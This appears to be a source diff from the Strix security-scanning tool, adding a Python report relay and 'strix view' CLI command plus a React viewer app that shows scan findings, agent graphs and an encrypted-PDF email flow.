raise RelayError("unavailable")
return data
if status == 403:
raise RelayError("invalid_code")
raise RelayError("unavailable")
def report_send(
token: str,
pdf_bytes: bytes,
filename: str,
run_name: str,
target: str,
) -> None:
"""Forward the encrypted PDF to the relay for delivery.
The report password is NEVER part of this payload; only the encrypted PDF
bytes travel to the relay.
"""
payload = {
"token": token,
"pdf_base64": base64.b64encode(pdf_bytes).decode("ascii"),
"filename": filename,
"run_name": run_name,
"target": target,
}
status, _ = _post_json("/api/oss/report/send", payload, timeout=_SEND_TIMEOUT)
if status == 200:
return
if status == 401:
raise RelayError("reverify")
if status == 413:
raise RelayError("too_large")
if status == 403:
raise RelayError("forbidden")
raise RelayError("unavailable")
__all__ = [
"AUTH_PATH",
"RelayError",
"forget",
"is_verified",
"otp_start",
"otp_verify",
"read_auth",
"report_send",
"write_auth",
]
+142
View File
@@ -0,0 +1,142 @@
"""`strix view [<run>]` command: serve a run's viewer UI locally."""
from __future__ import annotations
import argparse
import logging
import time
from typing import TYPE_CHECKING
from rich.console import Console
from strix.core.paths import (
RUNS_DIR_NAME,
latest_run_dir,
run_dir_for,
run_record_path,
runs_base_dir,
)
from strix.viewer.server import authorized_url, bundle_is_built, serve
from strix.viewer.transcript import read_run_summary
if TYPE_CHECKING:
from pathlib import Path
from typing import NoReturn
logger = logging.getLogger(__name__)
def run_view(argv: list[str]) -> None:
parser = argparse.ArgumentParser(
prog="strix view",
description="Open a local web view of a Strix run (live or finished).",
)
parser.add_argument(
"run",
nargs="?",
default=None,
help=f"Run name under ./{RUNS_DIR_NAME} (defaults to the most recent run).",
)
parser.add_argument(
"--port",
type=int,
default=0,
help="Port to serve on (default: an available ephemeral port).",
)
parser.add_argument("--host", default="127.0.0.1", help=argparse.SUPPRESS)
parser.add_argument(
"--no-open",
action="store_true",
help="Do not open the browser automatically.",
)
args = parser.parse_args(argv)
console = Console()
if not bundle_is_built():
console.print(
"[bold red]Viewer UI is not built.[/]\n"
"Build it with: [cyan]cd strix/viewer/frontend && npm ci && npm run build[/]"
)
raise SystemExit(1)
run_dir = _resolve_run_dir(args.run, console)
httpd, url, token = serve(
run_dir,
host=args.host,
port=args.port,
open_browser=not args.no_open,
)
# The tokened URL is what authorizes the browser (steering, report sending,
# history). Print it rather than the bare URL so the operator -- and only
# the operator -- can open or share an authorized link.
open_url = authorized_url(url, token)
run_name = run_dir.name
summary = read_run_summary(run_dir)
live = not summary.get("finished", False)
from strix.telemetry import posthog
posthog.viewer_opened(source="cli", live=live)
state_label = "[#eab308]live[/]" if live else "[#22c55e]finished[/]"
console.print()
console.print(f"Serving [bold white]{run_name}[/] ({state_label}) at:")
# Print the URL alone on its own line with soft_wrap so Rich never inserts a
# wrap into the (long, tokened) link -- that keeps it selectable/copyable.
console.print(f" [#60a5fa]{open_url}[/]", soft_wrap=True)
console.print("[dim]This link authorizes the browser; anyone you share it with can steer[/]")
console.print("[dim]a live scan and browse history. Press Ctrl-C to stop the viewer.[/]")
console.print()
try:
while True:
time.sleep(1.0)
except KeyboardInterrupt:
console.print("\n[dim]Viewer stopped.[/]")
finally:
httpd.shutdown()
httpd.server_close()
def _resolve_run_dir(run: str | None, console: Console) -> Path:
if run:
run_dir = run_dir_for(run)
if not run_record_path(run_dir).is_file():
_fail_no_run(console, requested=run)
return run_dir
latest = latest_run_dir()
if latest is None:
_fail_no_run(console, requested=None)
return latest
def _fail_no_run(console: Console, *, requested: str | None) -> NoReturn:
base = runs_base_dir()
available = (
sorted(
(child.name for child in base.iterdir() if run_record_path(child).is_file()),
reverse=True,
)
if base.is_dir()
else []
)
if requested:
console.print(f"[bold red]No run named '{requested}' under ./{RUNS_DIR_NAME}.[/]")
else:
console.print(f"[bold red]No runs found under ./{RUNS_DIR_NAME}.[/]")
if available:
console.print("Available runs:")
for name in available[:20]:
console.print(f" [cyan]{name}[/]")
raise SystemExit(1)
__all__ = ["run_view"]
+14
View File
@@ -0,0 +1,14 @@
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<link rel="icon" type="image/png" href="./logo.png" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta name="color-scheme" content="dark" />
<title>Strix Results</title>
</head>
<body>
<div id="root"></div>
<script type="module" src="/src/main.tsx"></script>
</body>
</html>
File diff suppressed because it is too large Load Diff
+34
View File
@@ -0,0 +1,34 @@
{
"name": "strix-viewer",
"private": true,
"version": "0.0.0",
"type": "module",
"scripts": {
"dev": "vite",
"build": "vite build",
"preview": "vite preview"
},
"dependencies": {
"@dagrejs/dagre": "^2.0.4",
"@xyflow/react": "^12.10.1",
"clsx": "^2.1.1",
"diff": "^8.0.3",
"highlight.js": "^11.11.1",
"lucide-react": "^0.563.0",
"react": "^19.2.0",
"react-dom": "^19.2.0",
"react-markdown": "^10.1.0",
"remark-gfm": "^4.0.1",
"tailwind-merge": "^3.4.0"
},
"devDependencies": {
"@tailwindcss/vite": "^4.1.0",
"@types/diff": "^7.0.2",
"@types/react": "^19.2.0",
"@types/react-dom": "^19.2.0",
"@vitejs/plugin-react": "^5.0.0",
"tailwindcss": "^4.1.0",
"typescript": "^5.6.0",
"vite": "^6.0.0"
}
}
Binary file not shown.

After

Width:  |  Height:  |  Size: 3.7 KiB

+810
View File
@@ -0,0 +1,810 @@
import { useCallback, useEffect, useMemo, useRef, useState } from "react";
import {
ArrowLeft,
AlertCircle,
Waypoints,
Mail,
ChevronDown,
Wrench,
FileCheck2,
CalendarClock,
Radar,
GitPullRequest,
Rocket,
ArrowUpRight,
History,
} from "lucide-react";
import type { Vulnerability, VulnerabilitySeverity } from "@/types/issues";
import { SEVERITY_COLORS } from "@/types/issues";
import { getSeverityDot } from "@/lib/vulnerability-utils";
import VulnerabilityDetail from "@/components/vulnerability/VulnerabilityDetail";
import { ContentSection } from "@/components/vulnerability/ContentSection";
import { IssueSeveritySummary } from "@/components/IssueSeveritySummary";
import AgentGraph from "@/components/live/AgentGraph";
import { buildGraphAgents } from "@/components/live/AgentTranscript";
import AgentDetailModal from "@/components/live/AgentDetailModal";
import { ScanPromptComposer } from "@/components/live/ScanPromptComposer";
import { severityCounts, type ParsedRunSummary } from "@/lib/local-run-parser";
import {
fetchAll,
fetchAuthStatus,
fetchCapabilities,
fetchRunSummary,
fetchRuns,
fetchTranscript,
fetchVulnerabilities,
forgetAuth,
type AuthStatus,
type LoadedRun,
type RunsPayload,
} from "@/data/serverSource";
import { SIGNUP_URL, ctaUrl, trackCta } from "@/lib/cta";
import { runTitle } from "@/lib/target-utils";
import Sidebar from "@/components/Sidebar";
import PastRunsView from "@/components/PastRunsView";
import EmailReportView from "@/components/EmailReportView";
import { RunDetails } from "@/components/RunDetails";
import { TrustToast } from "@/components/TrustToast";
import FeatureDetail from "@/components/FeatureDetail";
import { ProTile, ProInlineCta, type ProItem } from "@/components/ProCta";
import { FEATURES } from "@/lib/pro-features";
export type View = "overview" | "issues" | "agents" | "history" | "feature" | "email";
const TRUST_BANNER =
"Your findings stay on your machine. They're rendered here locally in your browser and never uploaded or stored by Strix.";
const SEVERITY_ORDER: VulnerabilitySeverity[] = ["critical", "high", "medium", "low"];
const POLL_MS = 500;
// Curated inline CTAs. Continuous-coverage row on Overview (the restyled upsell
// tiles), plus the recommendations pairing.
const RECOMMENDATION_CTAS: ProItem[] = [
{ title: "One-click autofix + open a fix PR", desc: "Fix it for you and open a PR, retested.", slug: "autofix", icon: Wrench },
{ title: "Export SOC 2 / ISO 27001 report", desc: "Share an auditor-ready report with your team.", slug: "compliance", icon: FileCheck2 },
];
const COVERAGE_CTAS: ProItem[] = [
{ title: "Scheduled pentesting", desc: "Continuous coverage for your whole org.", slug: "scheduled", icon: CalendarClock },
{ title: "Attack surface monitoring", desc: "Continuous coverage for your whole org.", slug: "asm", icon: Radar },
{ title: "PR reviews", desc: "Pentest every pull request your team opens.", slug: "pr_reviews", icon: GitPullRequest },
];
export default function App() {
const [activeRun, setActiveRun] = useState<string | null>(null);
const [run, setRun] = useState<LoadedRun | null>(null);
const [error, setError] = useState<string | null>(null);
const [selectedId, setSelectedId] = useState<string | null>(null);
const [view, setView] = useState<View>("overview");
const [activeFeature, setActiveFeature] = useState<string | null>(null);
const [auth, setAuth] = useState<AuthStatus | null>(null);
const [runs, setRuns] = useState<RunsPayload | null>(null);
const [emailPurpose, setEmailPurpose] = useState<"report" | "verify">("report");
const [emailSkipDisclosure, setEmailSkipDisclosure] = useState(false);
// Whether this viewer can steer a live scan (true only inside the in-TUI
// launcher that shares the running scan's coordinator + event loop).
const [canSteer, setCanSteer] = useState(false);
const refreshAuth = useCallback(async () => {
try {
setAuth(await fetchAuthStatus());
} catch {
/* auth status is best-effort; the launched run stays viewable */
}
}, []);
const refreshRuns = useCallback(async () => {
try {
setRuns(await fetchRuns());
} catch {
/* history list is best-effort */
}
}, []);
useEffect(() => {
void refreshAuth();
void refreshRuns();
// Capabilities never change over a session, so fetch once on mount.
fetchCapabilities()
.then((caps) => setCanSteer(caps.can_steer))
.catch(() => {
/* absence of steering is the safe default */
});
}, [refreshAuth, refreshRuns]);
// Live polling, scoped to the active run. Re-runs when the active run changes
// so switching to a past run (?run=<name>) reloads its data; a finished run
// does a single full fetch and stops.
const finishedRef = useRef(false);
useEffect(() => {
let cancelled = false;
let timer: ReturnType<typeof setTimeout> | undefined;
finishedRef.current = false;
const schedule = () => {
timer = setTimeout(tick, POLL_MS);
};
const tick = async () => {
if (cancelled) return;
try {
const { summary, raw, finished } = await fetchRunSummary(activeRun);
if (cancelled) return;
if (finished && !finishedRef.current) {
finishedRef.current = true;
const full = await fetchAll(activeRun);
if (!cancelled) setRun(full);
return; // stop polling
}
const [transcript, vulnerabilities] = await Promise.all([
fetchTranscript(activeRun).catch(() => ({ agents: [], events: [] })),
fetchVulnerabilities(summary.runId, activeRun).catch(() => [] as Vulnerability[]),
]);
if (cancelled) return;
setRun((prev) => ({
summary,
raw,
finished,
transcript,
vulnerabilities,
reportMarkdown: prev?.reportMarkdown ?? null,
}));
schedule();
} catch (e) {
if (cancelled) return;
setError(e instanceof Error ? e.message : "Could not load run data.");
schedule();
}
};
(async () => {
try {
const full = await fetchAll(activeRun);
if (cancelled) return;
setRun(full);
if (full.finished) {
finishedRef.current = true;
} else {
schedule();
}
} catch (e) {
if (cancelled) return;
setError(e instanceof Error ? e.message : "Could not load run data.");
schedule();
}
})();
return () => {
cancelled = true;
if (timer) clearTimeout(timer);
};
}, [activeRun]);
const counts = useMemo(
() => (run ? severityCounts(run.vulnerabilities) : null),
[run]
);
const selected = run?.vulnerabilities.find((v) => v.id === selectedId) ?? null;
const agentCount = run?.transcript.agents.length ?? 0;
const verified = auth?.verified === true;
// Per-run guard for the default view: land on Agents while a scan is live,
// Overview once it finishes. Applied at most once per run and never once the
// user has navigated manually (userSetView flips the guard).
const initialViewAppliedRef = useRef(false);
// Reset the guard whenever the active run changes so the newly selected run
// gets its own default.
useEffect(() => {
initialViewAppliedRef.current = false;
}, [activeRun]);
useEffect(() => {
if (initialViewAppliedRef.current || !run) return;
if (run.finished) {
initialViewAppliedRef.current = true;
setView("overview");
} else if (agentCount > 0) {
// Live and agents have appeared: default to the agent graph. If it is
// live but no agents exist yet, wait (do not apply, do not set the flag).
initialViewAppliedRef.current = true;
setView("agents");
}
}, [run, agentCount]);
// User-initiated navigation: mark the default guard applied so the per-run
// default effect never yanks the user off the view they chose.
const userSetView = useCallback((v: View) => {
initialViewAppliedRef.current = true;
setView(v);
}, []);
const selectRun = useCallback((name: string) => {
setActiveRun(name);
setSelectedId(null);
setRun(null);
setError(null);
// Reset the guard so the per-run default applies to the newly selected run.
initialViewAppliedRef.current = false;
}, []);
const goEmail = useCallback((skipDisclosure: boolean, surface: string) => {
trackCta("email_report", surface);
setEmailPurpose("report");
setEmailSkipDisclosure(skipDisclosure);
userSetView("email");
}, [userSetView]);
// Sidebar entry keeps the disclosure (first place those users see it);
const openEmail = useCallback(() => goEmail(false, "sidebar"), [goEmail]);
// the Overview CTA already states the tradeoff, so it starts the flow directly.
const openEmailFromOverview = useCallback(() => goEmail(true, "overview"), [goEmail]);
const openHistory = useCallback(() => {
void refreshRuns();
userSetView("history");
}, [refreshRuns, userSetView]);
const onPastRunsVerified = useCallback(async () => {
await refreshAuth();
await refreshRuns();
}, [refreshAuth, refreshRuns]);
const selectFeature = useCallback((slug: string) => {
trackCta(slug, "sidebar_nav");
setActiveFeature(slug);
userSetView("feature");
}, [userSetView]);
const onForget = useCallback(async () => {
await forgetAuth();
await refreshAuth();
await refreshRuns();
}, [refreshAuth, refreshRuns]);
return (
<div className="min-h-screen bg-black text-white flex">
<Sidebar
view={view}
onSelectView={(v) => {
if (v === "history") openHistory();
else userSetView(v);
}}
activeFeature={activeFeature}
onSelectFeature={selectFeature}
issuesCount={run?.vulnerabilities.length ?? 0}
agentCount={agentCount}
runCount={runs?.count ?? 0}
finished={run?.finished ?? false}
verified={verified}
email={auth?.email ?? null}
onOpenEmail={openEmail}
onOpenHistory={openHistory}
onForget={() => void onForget()}
/>
<div className="flex-1 min-w-0">
{/* Top bar */}
<div className="border-b border-[#222]">
<div className="max-w-[72rem] mx-auto px-6 py-4 flex items-center gap-1.5">
<a
href={ctaUrl("https://app.strix.ai", "logo")}
target="_blank"
rel="noopener noreferrer"
onClick={() => trackCta("logo", "topbar")}
className="flex items-center gap-1.5 opacity-90 transition-opacity hover:opacity-100 lg:hidden"
title="Open Strix Cloud"
>
<img src="./logo.png" alt="Strix" className="w-10 h-8 object-cover" />
<div className="text-base text-white font-medium tracking-tight">Strix</div>
</a>
<span className="text-xs text-[#666]">Local results</span>
{run && <LiveIndicator finished={run.finished} />}
<div className="ml-auto flex items-center gap-3">
{verified && runs && !runs.locked && runs.runs.length > 0 && (
<RunSwitcher
runs={runs}
activeRun={activeRun}
launchedName={runTitle(run?.summary.targets[0] ?? null, run?.summary.runName ?? run?.summary.runId ?? "Current run")}
onSelect={selectRun}
/>
)}
<a
href={ctaUrl(SIGNUP_URL, "run_in_cloud")}
target="_blank"
rel="noopener noreferrer"
onClick={() => trackCta("run_in_cloud", "topbar")}
className="inline-flex items-center gap-1 rounded-lg bg-white px-3 py-1.5 text-xs font-semibold text-black transition-opacity hover:opacity-90"
>
Run in the cloud
<ArrowUpRight className="w-3 h-3" aria-hidden="true" />
</a>
</div>
</div>
</div>
<div className="max-w-[72rem] mx-auto px-6 py-8 space-y-6">
{error && !run && view !== "history" && view !== "email" && view !== "feature" && (
<div className="rounded-lg px-4 py-3 flex gap-3 items-start border border-red-500/30 bg-red-500/5">
<AlertCircle className="w-5 h-5 flex-shrink-0 mt-0.5 text-red-400" aria-hidden="true" />
<p className="text-sm text-red-300">{error}</p>
</div>
)}
{view === "email" ? (
<EmailReportView
activeRun={activeRun}
auth={auth}
purpose={emailPurpose}
skipDisclosure={emailSkipDisclosure}
onAuthChanged={() => {
void refreshAuth();
void refreshRuns();
}}
onExit={(dest) => setView(dest === "history" ? "history" : "overview")}
/>
) : view === "feature" && activeFeature && FEATURES[activeFeature] ? (
<FeatureDetail feature={FEATURES[activeFeature]} />
) : view === "history" ? (
<div className="space-y-4">
<div className="flex items-center gap-2">
<History className="w-5 h-5 text-[#888]" aria-hidden="true" />
<h1 className="text-2xl font-semibold text-white">Past runs</h1>
</div>
<PastRunsView
runs={runs}
activeRun={activeRun}
onSelectRun={selectRun}
onVerified={() => void onPastRunsVerified()}
/>
</div>
) : !run && !error ? (
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-10 text-center">
<div className="w-6 h-6 mx-auto mb-3 rounded-full border-2 border-[#333] border-t-white animate-spin" />
<p className="text-sm text-[#888]">Loading run data</p>
</div>
) : run && counts ? (
<>
<SummaryHeader summary={run.summary} />
{/* Tab strip: shown on small screens where the sidebar is hidden. */}
<div className="flex gap-5 border-b border-[#2a2a2a] lg:hidden">
<TabButton active={view === "overview"} onClick={() => userSetView("overview")}>
Overview
</TabButton>
<TabButton active={view === "issues"} onClick={() => userSetView("issues")}>
Issues{run.vulnerabilities.length > 0 ? ` (${run.vulnerabilities.length})` : ""}
</TabButton>
{agentCount > 0 && (
<TabButton active={view === "agents"} onClick={() => userSetView("agents")}>
Agents ({agentCount})
</TabButton>
)}
</div>
{view === "overview" ? (
<OverviewTab
summary={run.summary}
counts={counts}
total={run.vulnerabilities.length}
reportMarkdown={run.reportMarkdown}
raw={run.raw}
finished={run.finished}
onOpenEmail={openEmailFromOverview}
/>
) : view === "agents" && agentCount > 0 ? (
<AgentsTab run={run} canSteer={canSteer} />
) : selected ? (
<div className="space-y-4">
<button
onClick={() => setSelectedId(null)}
className="cursor-pointer inline-flex items-center gap-1.5 text-sm text-[#888] hover:text-white transition-colors"
>
<ArrowLeft className="w-4 h-4" /> Back to all findings
</button>
<VulnerabilityDetail vulnerability={selected} />
</div>
) : (
<FindingsList
vulnerabilities={run.vulnerabilities}
finished={run.finished}
onSelect={(id) => setSelectedId(id)}
/>
)}
</>
) : null}
</div>
</div>
<TrustToast message={TRUST_BANNER} />
</div>
);
}
function RunSwitcher({
runs,
activeRun,
launchedName,
onSelect,
}: {
runs: RunsPayload;
activeRun: string | null;
launchedName: string;
onSelect: (name: string) => void;
}) {
const [open, setOpen] = useState(false);
const activeEntry = runs.runs.find((r) => r.name === activeRun);
const current = activeEntry ? runTitle(activeEntry.target, activeEntry.name) : launchedName;
return (
<div className="relative">
<button
onClick={() => setOpen((o) => !o)}
onBlur={() => setTimeout(() => setOpen(false), 150)}
className="flex items-center gap-1.5 rounded-lg px-2.5 py-1.5 text-xs text-[#aaa] transition-colors hover:text-white"
style={{ border: "1px solid #2a2a2a" }}
>
<History className="w-3.5 h-3.5" aria-hidden="true" />
<span className="max-w-[160px] truncate">{current}</span>
<ChevronDown className="w-3.5 h-3.5" aria-hidden="true" />
</button>
{open && (
<div
className="absolute right-0 z-50 mt-1.5 max-h-80 w-64 overflow-y-auto rounded-lg py-1 shadow-xl"
style={{ border: "1px solid #2a2a2a", background: "#0a0a0a" }}
>
{runs.runs.map((r) => {
const active = r.name === activeRun;
return (
<button
key={r.name}
onMouseDown={() => onSelect(r.name)}
className={`flex w-full items-center gap-2 px-3 py-2 text-left text-xs transition-colors hover:bg-[rgba(255,255,255,0.06)] ${
active ? "text-white" : "text-[#aaa]"
}`}
>
<span className="min-w-0 flex-1">
<span className="block truncate">{runTitle(r.target, r.name)}</span>
{r.target && <span className="block truncate font-mono text-[#666]">{r.target}</span>}
</span>
{active && <span className="h-1.5 w-1.5 flex-shrink-0 rounded-full bg-emerald-400" />}
</button>
);
})}
</div>
)}
</div>
);
}
function LiveIndicator({ finished }: { finished: boolean }) {
if (finished) {
return (
<span className="ml-3 inline-flex items-center gap-1.5 text-xs text-[#888]">
<span className="w-1.5 h-1.5 rounded-full bg-[#555]" />
Complete
</span>
);
}
return (
<span className="ml-3 inline-flex items-center gap-1.5 text-xs text-emerald-400">
<span className="relative flex h-1.5 w-1.5">
<span className="absolute inline-flex h-full w-full rounded-full bg-emerald-400 opacity-75 animate-ping" />
<span className="relative inline-flex h-1.5 w-1.5 rounded-full bg-emerald-400" />
</span>
Live
</span>
);
}
function formatDuration(seconds: number | null): string | null {
if (seconds == null) return null;
if (seconds < 60) return `${seconds}s`;
const m = Math.floor(seconds / 60);
if (m < 60) return `${m}m`;
const h = Math.floor(m / 60);
return `${h}h ${m % 60}m`;
}
function SummaryHeader({ summary }: { summary: ParsedRunSummary }) {
const duration = formatDuration(summary.durationSeconds);
return (
<div>
<h1 className="text-2xl font-semibold text-white">
{runTitle(summary.targets[0] ?? null, summary.runName ?? summary.runId ?? "Scan results")}
</h1>
<div className="mt-1 flex flex-wrap items-center gap-x-3 gap-y-1 text-sm text-[#888]">
{summary.targets.length > 0 && (
<span className="font-mono text-[#aaa]">{summary.targets.join(", ")}</span>
)}
{summary.scanMode && <Meta label={summary.scanMode} />}
{duration && <Meta label={duration} />}
{summary.status && <Meta label={summary.status} />}
</div>
</div>
);
}
function Meta({ label }: { label: string }) {
return (
<>
<span className="text-[#333]">·</span>
<span className="capitalize">{label}</span>
</>
);
}
function FindingsList({
vulnerabilities,
finished,
onSelect,
}: {
vulnerabilities: Vulnerability[];
finished: boolean;
onSelect: (id: string) => void;
}) {
const sorted = [...vulnerabilities].sort(
(a, b) => SEVERITY_ORDER.indexOf(a.severity) - SEVERITY_ORDER.indexOf(b.severity)
);
if (sorted.length === 0) {
return (
<div className="space-y-4">
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-8 text-center text-sm text-[#888]">
{finished ? "No findings in this run." : "No findings yet. The scan is still running…"}
</div>
{finished && (
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-5">
<p className="text-sm font-medium text-white">Stay ahead of new exposures</p>
<p className="mt-0.5 mb-3 text-xs text-[#666]">
Attack surface monitoring catches new exposures for your org over time.
</p>
<ProInlineCta
label="Attack surface monitoring"
desc="Continuous coverage for your whole org."
slug="asm"
surface="empty_state"
icon={Radar}
/>
</div>
)}
</div>
);
}
return (
<div className="space-y-2">
{sorted.map((v) => (
<button
key={v.id}
onClick={() => onSelect(v.id)}
className="cursor-pointer w-full text-left rounded-lg border border-[#222] hover:border-[#444] bg-[rgba(255,255,255,0.02)] px-4 py-3 transition-colors flex items-center gap-3"
>
<span className={`w-2.5 h-2.5 rounded-full flex-shrink-0 ${getSeverityDot(v.severity)}`} aria-hidden="true" />
<span className="flex-1 min-w-0">
<span className="block text-sm font-medium text-white truncate">{v.title}</span>
{v.target && (
<span className="block text-xs text-[#666] font-mono truncate">{v.target}</span>
)}
</span>
<span
className={`text-xs font-semibold px-2 py-0.5 rounded-full border capitalize ${SEVERITY_COLORS[v.severity]}`}
>
{v.severity}
</span>
</button>
))}
</div>
);
}
/** Strip a single leading markdown heading (report sections embed their own). */
function stripLeadingHeading(md: string): string {
return md.replace(/^\s*#{1,6}[ \t]+.*(?:\r?\n)+/, "").trimStart();
}
function dedupeHeadings(md: string): string {
const out: string[] = [];
let lastHeading: string | null = null;
for (const line of md.split("\n")) {
const m = line.match(/^#{1,6}\s+(.*)$/);
if (m) {
const norm = m[1].trim().toLowerCase();
if (norm === lastHeading) continue;
lastHeading = norm;
} else if (line.trim() !== "") {
lastHeading = null;
}
out.push(line);
}
return out.join("\n");
}
/** Primary local CTA: email an encrypted PDF. Verify-email affordance, no lock. */
function EmailReportCta({ onOpenEmail }: { onOpenEmail: () => void }) {
return (
<button
onClick={onOpenEmail}
className="group w-full cursor-pointer rounded-xl border border-emerald-500/25 bg-emerald-500/[0.06] p-4 text-left transition-colors hover:border-emerald-500/40"
>
<div className="flex items-center gap-3">
<div
className="flex h-9 w-9 flex-shrink-0 items-center justify-center rounded-lg"
style={{ border: "1px solid rgba(16,185,129,0.3)", background: "rgba(16,185,129,0.08)" }}
>
<Mail className="h-4 w-4 text-emerald-400" aria-hidden="true" />
</div>
<div className="min-w-0 flex-1">
<p className="text-sm font-semibold text-white">Email an encrypted PDF report of this run</p>
<p className="mt-0.5 text-xs text-[#888]">
Encrypted with a key only you can see, email verified with a one-time code before sending.
</p>
</div>
<span className="flex-shrink-0 rounded-lg bg-white px-3 py-1.5 text-xs font-semibold text-black transition-opacity group-hover:opacity-90">
Email report
</span>
</div>
</button>
);
}
function OverviewTab({
summary,
counts,
total,
reportMarkdown,
raw,
finished,
onOpenEmail,
}: {
summary: ParsedRunSummary;
counts: Record<VulnerabilitySeverity, number>;
total: number;
reportMarkdown: string | null;
raw: Record<string, unknown>;
finished: boolean;
onOpenEmail: () => void;
}) {
const sections = (
[
["Executive Summary", summary.executiveSummary],
["Technical Analysis", summary.technicalAnalysis],
["Methodology", summary.methodology],
["Recommendations", summary.recommendations],
] as const
)
.filter(([, content]) => !!content)
.map(([title, content]) => ({ title, content: stripLeadingHeading(content as string) }));
return (
<div className="space-y-6">
<RunDetails raw={raw} durationSeconds={summary.durationSeconds} />
{total > 0 && (
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-5">
<IssueSeveritySummary findings={{ total, ...counts }} />
</div>
)}
{/* Primary CTA: the one primary on Overview. Hidden until the run is
finished, since a live scan would only email a partial report. */}
{finished && <EmailReportCta onOpenEmail={onOpenEmail} />}
{sections.length > 0 ? (
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-5 space-y-8">
{sections.map((s) => (
<ContentSection key={s.title} title={s.title} content={s.content} />
))}
</div>
) : reportMarkdown ? (
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-5">
<ContentSection content={dedupeHeadings(reportMarkdown)} />
</div>
) : (
total === 0 && (
<p className="text-sm text-[#888]">No summary available for this run yet.</p>
)
)}
{/* Near Recommendations: act on the fixes. */}
<div className="grid grid-cols-1 sm:grid-cols-2 gap-3">
{RECOMMENDATION_CTAS.map((item) => (
<ProTile key={item.slug} item={item} surface="overview" />
))}
</div>
{/* Continuous coverage for your org (restyled upsell tiles). */}
<div>
<p className="mb-2 text-sm font-semibold text-white">Continuous coverage for your org</p>
<div className="grid grid-cols-1 sm:grid-cols-3 gap-3">
{COVERAGE_CTAS.map((item) => (
<ProTile key={item.slug} item={item} surface="overview" />
))}
</div>
</div>
</div>
);
}
function TabButton({
active,
onClick,
children,
}: {
active: boolean;
onClick: () => void;
children: React.ReactNode;
}) {
return (
<button
onClick={onClick}
className={`cursor-pointer relative pb-2.5 text-sm font-semibold transition-colors ${
active ? "text-white" : "text-[#666] hover:text-white"
}`}
>
{children}
{active && <span className="absolute bottom-0 inset-x-0 h-0.5 bg-white rounded-full" />}
</button>
);
}
function AgentsTab({ run, canSteer }: { run: LoadedRun; canSteer: boolean }) {
const { agents, events } = run.transcript;
const graphAgents = useMemo(() => buildGraphAgents(agents, events), [agents, events]);
// Clicking a graph node opens the agent's transcript in a modal (matching the
// cloud app); no node selected means no modal.
const [selectedId, setSelectedId] = useState<string | null>(null);
const selectedAgent = selectedId ? (agents.find((a) => a.id === selectedId) ?? null) : null;
// Live steering is only possible in-process (canSteer) while the scan runs.
const steerable = canSteer && !run.finished;
return (
<div className="space-y-5">
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-5">
<div className="flex items-center gap-2">
<Waypoints className="w-4 h-4 text-[#888]" aria-hidden="true" />
<h2 className="text-sm font-semibold text-white">Agent graph</h2>
<span className="text-xs text-[#666]">
{agents.length} agent{agents.length === 1 ? "" : "s"}
</span>
</div>
<p className="mt-1 mb-4 text-xs text-[#666]">
Click an agent to open its full transcript.
</p>
<div className="h-[480px] rounded-lg border border-[#1a1a1a] overflow-hidden">
<AgentGraph
agents={graphAgents}
selectedAgentId={selectedId}
onSelectAgent={(id) => setSelectedId(id)}
eventsLoaded
eventsEmpty={graphAgents.size === 0}
scanCompleted={run.finished}
/>
</div>
</div>
{/* Live steering: only in-process while the scan runs. Otherwise omitted. */}
{steerable && <ScanPromptComposer agents={agents} />}
{/* Re-run always routes to Strix Cloud. */}
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-5">
<p className="text-sm font-semibold text-white">Run this scan with more depth</p>
<p className="mt-0.5 text-xs text-[#666]">Re-run this scan on managed infra in the cloud.</p>
<div className="mt-3 flex flex-wrap gap-2.5">
<ProInlineCta
label="Re-run in Strix Cloud with more depth"
desc="Run this scan on managed infra with more depth."
slug="live_scan"
surface="agents"
icon={Rocket}
/>
</div>
</div>
{selectedAgent && (
<AgentDetailModal
agent={selectedAgent}
events={events}
steerable={steerable}
onClose={() => setSelectedId(null)}
/>
)}
</div>
);
}
@@ -0,0 +1,20 @@
// Extracted ProviderIcon from strix-app's AddRepositoryDialog. The dialog itself
// (and its next/link dependency) is dropped; the IssueSidebar only needs this SVG
// switch to badge a finding's source-control provider. Web-app targets resolve to
// provider === null and never reach here (they render a globe icon instead).
import { Github, Gitlab } from "lucide-react";
function BitbucketIcon({ className }: { className?: string }) {
return (
<svg viewBox="0 0 24 24" fill="currentColor" className={className} aria-hidden="true">
<path d="M2.65 3a.72.72 0 0 0-.72.83l2.86 17.39a.98.98 0 0 0 .96.82h13.72a.72.72 0 0 0 .72-.6l2.86-17.4A.72.72 0 0 0 22.3 3H2.65Zm12.1 12.53H9.3L8.06 8.9h7.8l-1.11 6.63Z" />
</svg>
);
}
export function ProviderIcon({ provider, className }: { provider: string; className?: string }) {
const cls = className ?? "w-4 h-4";
if (provider === "gitlab") return <Gitlab className={`${cls} text-orange-400`} />;
if (provider === "bitbucket") return <BitbucketIcon className={`${cls} text-blue-400`} />;
return <Github className={`${cls} text-white`} />;
}
@@ -0,0 +1,375 @@
import { useEffect, useRef, useState } from "react";
import { Mail, ShieldCheck, Lock, Copy, Check, Loader2, AlertCircle, ArrowLeft } from "lucide-react";
import {
otpStart,
otpVerify,
sendReport,
type AuthStatus,
} from "@/data/serverSource";
import { track } from "@/lib/cta";
/**
* The email-report / email-verification flow rendered as its own page (not a
* modal, so it never floats over another surface). Report mode ends in the
* one-time password panel; verify mode just confirms the email and returns to
* the caller. The page unmounts when you navigate away, so state resets each
* time it is opened.
*/
type Step = "disclosure" | "email" | "code" | "sending" | "password";
interface EmailReportViewProps {
activeRun: string | null;
auth: AuthStatus | null;
purpose: "report" | "verify";
/**
* Skip the report disclosure and start the flow directly (used by the
* Overview CTA, which already states the tradeoff). Unverified users land on
* the email step; already-verified users send immediately.
*/
skipDisclosure?: boolean;
/** Refresh auth + runs after a successful verify (lifts state to App). */
onAuthChanged: () => void;
/** Leave this page (report "Done" -> overview; verify success -> history). */
onExit: (dest: "overview" | "history") => void;
}
const OTP_START_ERRORS: Record<string, string> = {
work_email_required: "Please use your work email, not a personal one.",
